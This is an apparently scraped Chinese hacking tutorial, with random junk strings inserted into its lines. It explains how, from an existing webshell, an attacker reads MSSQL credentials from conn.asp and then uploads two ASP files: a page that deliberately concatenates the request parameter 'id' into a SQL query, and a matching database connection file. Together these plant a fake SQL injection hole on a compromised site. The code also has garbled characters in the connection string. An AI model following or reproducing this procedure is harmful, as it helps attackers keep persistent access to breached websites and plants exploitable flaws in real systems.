首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:4 `- j& p* r# S/ a; I# x
ASP/Visual Basic代码
# y4 m2 O/ B. G) K+ E2 a- d<!--#include file="xx.asp"-->
& V' }5 ?* k; V+ i; p1 ~! q: m) \<% . n, i, j* ?/ C
set rs=server.createobject("ADODB.recordset")
2 m' ~. d- `9 g* i `! n- ~id = request("id") 4 }# t" e* t: g/ _1 E5 a
strSQL = "select * from admin where id=" & id
: r+ g/ h# E. x- h- I. _rs.open strSQL,conn,1,3 7 C9 Z$ p1 r! I
rs.close
$ Q7 B8 z: a; g# A, V1 \" F& X%> 3 G; T3 E4 F+ ^" v& S8 {
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, c+ D( s& A: I% Q* k' k u: H
然后就要构造一个连接数据库的文件了,代码如下:& x( W0 x! w+ D/ N/ `
ASP/Visual Basic代码
A- U! r8 s- m8 i2 X5 Q, a( e<%
0 l5 G# G4 [ D2 L1 Y! [0 U. w* ostrSQLServerName = "000.000.000.000" '服务器名称或地址 * w+ b1 c( G- E& Y5 c- c
strSQLDBUserName = "sqlname" '数据库帐号 & I- l0 j0 K Q. d M
strSQLDBPassword = "sqlpass" '数据库密码 ! d/ h4 T6 P0 _+ G& ]# K; v
strSQLDBName = "sqldataname" '数据库名称
0 E- u: C m$ @9 s1 y2 hSet conn = Server.CreateObject("ADODB.Connection") ) S R1 V/ ~3 x- Q9 x2 ?! S& M2 @
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" . r, Z9 e4 P* O: w% Z$ T
conn.open strCon U8 Z2 v3 @# ~7 n/ R
%> $ [& _( h7 G/ b# ]
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
5 |" J. D* m( ~$ q. K+ T |